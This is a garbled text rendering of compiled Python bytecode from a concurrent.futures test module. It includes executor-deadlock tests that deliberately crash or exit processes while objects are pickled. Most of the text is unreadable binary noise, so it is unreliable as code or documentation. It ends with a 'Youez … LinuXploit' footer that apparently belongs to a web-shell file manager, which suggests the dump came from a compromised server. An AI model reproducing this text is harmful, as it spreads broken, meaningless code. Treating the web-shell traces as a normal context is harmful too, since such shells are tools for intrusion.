t�dSr�r�rMrrr �
__reduce__z�
zCrashAtPickle.__reduce__N�rPrQrR�__doc__r	rrrr rx�rc@r)�CrashAtUnpicklez7Bad object that triggers a segfault at unpickling time.cC�tdfS�NrrrMrrr r	�r*zCrashAtUnpickle.__reduce__Nrrrrr r~r
rc@r)�ExitAtPicklez9Bad object that triggers a process exit at pickling time.cCrr�r�rMrrr r	�r
zExitAtPickle.__reduce__Nrrrrr r�r
rc@r)�ExitAtUnpicklez;Bad object that triggers a process exit at unpickling time.cCrrrrMrrr r	�r*zExitAtUnpickle.__reduce__Nrrrrr r�r
rc@r)�
ErrorAtPicklez3Bad object that triggers an error at pickling time.cCsddlm}|d��)Nrr	zError in pickle)�pickler
)rNr
rrr r	�szErrorAtPickle.__reduce__Nrrrrr r�r
rc@r)�ErrorAtUnpicklez5Bad object that triggers an error at unpickling time.cCsddlm}t|ffS)Nr)�UnpicklingError)rrr)rNrrrr r	�s
zErrorAtUnpickle.__reduce__Nrrrrr r�r
rc@s�eZdZejZdd�Zdd�dd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#S)$�ExecutorDeadlockTestcCs�ddl}ddlm}|dd��}|j|d�|�d�|��}Wd�n1s)wY|j��D]}|��q3|j	dd�t
d|��tjd�|�
d	|���dS)
Nr)�
TemporaryFilezw+)�mode)�fileTrwz
Traceback:
 zExecutor deadlock:

)r��tempfiler�dump_traceback�seek�readr6r7r�r{r3r4�
__stderr__r�)rNrtr�rrr�r:rrr �_fail_on_deadlock�s

�
z&ExecutorDeadlockTest._fail_on_deadlockF��
ignore_stderrc	Gs�|jjdd�|jd|��d�}|j|g|�R�}|r t��}nt��}z0|�	|��!|�|j
|jd�Wd�n1s?wYWd�n1sNwYWntj
yc|�|�Ynw|jdd�dS)NTrwr�rirm)rtr{rprrr�rr�r��nullcontextr�r�TIMEOUTrror!)rN�error�funcr#r+rtr%r�rrr �_check_crash�s(�
�����z!ExecutorDeadlockTest._check_crashcC�|�ttt��dSr)r(r
r�rrMrrr �test_error_at_task_pickle�sz.ExecutorDeadlockTest.test_error_at_task_picklecCr)r)r(rr�rrMrrr �test_exit_at_task_unpickle��z/ExecutorDeadlockTest.test_exit_at_task_unpicklecCr)r)r(rr�rrMrrr �test_error_at_task_unpickle�r,z0ExecutorDeadlockTest.test_error_at_task_unpicklecCr)r)r(rr�rrMrrr �test_crash_at_task_unpickle�r,z0ExecutorDeadlockTest.test_crash_at_task_unpicklecC�|�tt�dSr)r(rr�rMrrr �%test_crash_during_func_exec_on_worker��z:ExecutorDeadlockTest.test_crash_during_func_exec_on_workercCr/r)r(�
SystemExitr�rMrrr �$test_exit_during_func_exec_on_worker�r1z9ExecutorDeadlockTest.test_exit_during_func_exec_on_workercCs|�ttt�dSr)r(r�r�rMrrr �%test_error_during_func_exec_on_worker�sz:ExecutorDeadlockTest.test_error_during_func_exec_on_workercC�|�ttt�dSr)r(rrrrMrrr �)test_crash_during_result_pickle_on_worker��z>ExecutorDeadlockTest.test_crash_during_result_pickle_on_workercCr5r)r(r2rrrMrrr �(test_exit_during_result_pickle_on_worker�r7z=ExecutorDeadlockTest.test_exit_during_result_pickle_on_workercCr5r)r(r
rrrMrrr �)test_error_during_result_pickle_on_worker�r7z>ExecutorDeadlockTest.test_error_during_result_pickle_on_workercCs|jtttdd�dS)NTr")r(rrrrMrrr �3test_error_during_result_unpickle_in_result_handler�s
�zHExecutorDeadlockTest.test_error_during_result_unpickle_in_result_handlercCr5r)r(rrrrMrrr �2test_exit_during_result_unpickle_in_result_handler�r7zGExecutorDeadlockTest.test_exit_during_result_unpickle_in_result_handlerc	Cs�|jjdd�|jd|��d��:}||_|jtdd�}|jdd�|�t��|��Wd�n1s5wYWd�dSWd�dS1sMwYdS)NTrwr�rirA)r�)	rtr{rprrr�r�r�rr)rNrtrrrr �test_shutdown_deadlocks�
��"�z+ExecutorDeadlockTest.test_shutdown_deadlockc	Cs�|jjdd�|jd|��d��<}||_|�td���|j}|�tt��}|jdd�|�	t
��|��Wd�n1s@wYWd�n1sOwY|��dS)NTrwr�rir$F)rtr{rprrr�r�rr<rr�r
r)rNrt�executor_managerrrrr �test_shutdown_deadlock_pickles �
���z2ExecutorDeadlockTest.test_shutdown_deadlock_pickleN)rPrQrRrr�r%r!r(r*r+r-r.r0r3r4r6r8r9r:r;r<r>rrrr r�s$rc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)S)*�FutureTestscs:d��fdd�}t�}|�|�|�d�|�d��dS)Nc�|���dSr�r��callback_future��callback_resultrr r�3�z6FutureTests.test_done_callback_with_result.<locals>.fnrg)r�add_done_callbackrzr��rNr�rrrDr �test_done_callback_with_result1�

z*FutureTests.test_done_callback_with_resultcs@d��fdd�}t�}|�|�|�td��|�d�j�dS)Ncr@r�rrB��callback_exceptionrr r�>rFz9FutureTests.test_done_callback_with_exception.<locals>.fnrv�rv)rrG�
set_exceptionr0r�r+rHrrLr �!test_done_callback_with_exception<s
z-FutureTests.test_done_callback_with_exceptioncs<d��fdd�}t�}|�|�|�|���|���dS)Ncr@rr�rB��
was_cancelledrr r�IrFz6FutureTests.test_done_callback_with_cancel.<locals>.fn)rrGr�rrHrrQr �test_done_callback_with_cancelGs
z*FutureTests.test_done_callback_with_cancelcs�t���=}d�d��fdd�}�fdd�}t�}|�|�|�|�|�d�|���|���|�d|���Wd�dS1sDwYdS)NFcsd�td��)NT�doh!�r0rB)�raising_was_calledrr �
raising_fnWsz9FutureTests.test_done_callback_raises.<locals>.raising_fncsd�dS)NTrrB)�
fn_was_calledrr r�\r<z1FutureTests.test_done_callback_raises.<locals>.fnrgzException: doh!)rr�rrGrzr�r�r�)rNrrWr�rr)rXrVr �test_done_callback_raisesRs





"�z%FutureTests.test_done_callback_raisescs:d��fdd�}t�}|�d�|�|�|�d��dS)Ncr@rrArBrDrr r�jrFz=FutureTests.test_done_callback_already_successful.<locals>.fnrg)rrzrGr�rHrrDr �%test_done_callback_already_successfulhrJz1FutureTests.test_done_callback_already_successfulcs@d��fdd�}t�}|�td��|�|�|�d�j�dS)Ncr@rrKrBrLrr r�urFz9FutureTests.test_done_callback_already_failed.<locals>.fnrvrN)rrOr0rGr�r+rHrrLr �!test_done_callback_already_failedss
z-FutureTests.test_done_callback_already_failedcs<d��fdd�}t�}|�|���|�|�|���dS)Ncr@rr�rBrQrr r��rFz<FutureTests.test_done_callback_already_cancelled.<locals>.fn)rr�rrGrHrrQr �$test_done_callback_already_cancelled~s
z0FutureTests.test_done_callback_already_cancelledcCspt���*}dd�}t�}|�d�|�|�|�d|���|�d|���Wd�dS1s1wYdS)NcSr�)NrTrUrBrrr rW�r*zKFutureTests.test_done_callback_raises_already_succeeded.<locals>.raising_fnrgzexception calling callback forrT)rr�rrzrGr�r�)rNrrWrrrr �+test_done_callback_raises_already_succeeded�s


"�z7FutureTests.test_done_callback_raises_already_succeededcCsd|�tt�d�|�tt�d�|�tt�d�|�tt�d�|�tt�d�|�tt�d�dS)Nz%<Future at 0x[0-9a-f]+ state=pending>z%<Future at 0x[0-9a-f]+ state=running>z'<Future at 0x[0-9a-f]+ state=cancelled>z5<Future at 0x[0-9a-f]+ state=finished raised OSError>z3<Future at 0x[0-9a-f]+ state=finished returned int>)r-�reprr~rrJrOr[rPrMrrr �	test_repr�s(
�
�
�
���zFutureTests.test_reprcCs�ttd�}ttd�}ttd�}ttd�}ttt�d�}ttdd�}|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�dS)Nr"r#rgr%)r!rr
rrr�OSErrorr�rr�rr�)rNr��f2�f3�f4�f5�f6rrr �test_cancel�s$



zFutureTests.test_cancelcCsX|�t���|�t���|�t���|�t���|�t���|�t���dSr)	r�r~r�rr�rJrOr[rPrMrrr �test_cancelled��zFutureTests.test_cancelledcCsX|�t���|�t���|�t���|�t���|�t���|�t���dSr)	r�r~r�rr�rJrOr[rPrMrrr �	test_done�rhzFutureTests.test_donecCsX|�t���|�t���|�t���|�t���|�t���|�t���dSr)	r�r~�runningr�rrJrOr[rPrMrrr �test_running�rhzFutureTests.test_runningcCsz|jtjtjdd�|jtjtjdd�|jtjtjdd�|jtjtjdd�|jt	t
jdd�|�tjdd�d�dS)Nrrmr$)
r�rror~rr�CancelledErrorrJrOr`r[r�rPrMrrr �test_result_with_timeout�s����z$FutureTests.test_result_with_timeoutcsJ�fdd�}ttd��tj|d�}|��|��jdd�d�|��dS)Ncst�d���d�dS)Nr�r$)r.r/rzr�r�rr �notification�s
z:FutureTests.test_result_with_success.<locals>.notificationr"��targetrgrmr$)r!rr
�Thread�startr�rr�rNror1rrnr �test_result_with_success�s
z$FutureTests.test_result_with_successcsL�fdd�}ttd��tj|d�}|��|jtj�jt	j
d�|��dS)Ncst�d����dS�Nr�)r.r/rrrnrr ro�s
z9FutureTests.test_result_with_cancel.<locals>.notificationr"rprm)r!rr
rrrsr�rrlrrr�rrtrrnr �test_result_with_cancel�s
�z#FutureTests.test_result_with_cancelcCs�|jtjtjdd�|jtjtjdd�|jtjtjdd�|jtjtjdd�|�	t
tjdd�t��|�
tjdd�d�dS)Nrrm)r�rror~rrrlrJrOr��
isinstancer[r`r�rPrMrrr �test_exception_with_timeouts �����z'FutureTests.test_exception_with_timeoutcsP�fdd�}ttd��tj|d�}|��|�t�jtj	d�t
��|��dS)NcsNt�d��j�t�_t��_�j��Wd�dS1s wYdSrv)r.r/�
_conditionrrr`r�
notify_allrrnrr ros
"�z=FutureTests.test_exception_with_success.<locals>.notificationr"rprm)r!rr
rrrsr�rxrrr�r`rrtrrnr �test_exception_with_successs
z'FutureTests.test_exception_with_successcCsnttd�}|�d�|�tjd��
|�d�Wd�n1s!wY|�|���|�|�	�d�dS)Nr"r�z=FINISHED: <Future at 0x[0-9a-f]+ state=finished returned int>r�)
r!rrzr�r�InvalidStateErrorr�r�r�r)rNrrrr �test_multiple_set_result"s

��z$FutureTests.test_multiple_set_resultcCshttd�}t�}|�|�|�tjd��|�t��Wd�n1s%wY|�|�	�|�dS)Nr"zBFINISHED: <Future at 0x[0-9a-f]+ state=finished raised ValueError>)
r!rrGrOr�rr}r0r�r)rNrrrrr �test_multiple_set_exception0s

��z'FutureTests.test_multiple_set_exceptionN)rPrQrRrIrPrSrYrZr[r\r]r_rfrgrirkrmrurwryr|r~rrrrr r?0s*
r?cCs.t�tjj�t��}tjtjg|�R�dSr)r��addModuleCleanup�multiprocessing�util�_cleanup_testsrr`rd)�thread_inforrr �setUpModule?sr��__main__r)brvr�test.supportrr�
import_moduler�test.support.script_helperrr�rrrB�logging.handlersrr�r�r�r4r
r.r�rxrr
�
concurrentr�concurrent.futures._baserr
rrrrr�concurrent.futures.processrr�multiprocessing.processr��multiprocessing.utilr�check_sanitizerr�r!r~rrJrOr`r[rPr:r)r-r2r8r;r=rJ�objectrLrTr^�TestCaser_rfr�r�r�r�r�r�r�r�rr2rArarir�r�r�r�r�r�rrrrrrrrrr?r�rP�mainrrrr �<module>s�
$






	!�
�8	^O��m��RVOu��
	
��
�

Youez - 2016 - github.com/yon3zu
LinuXploit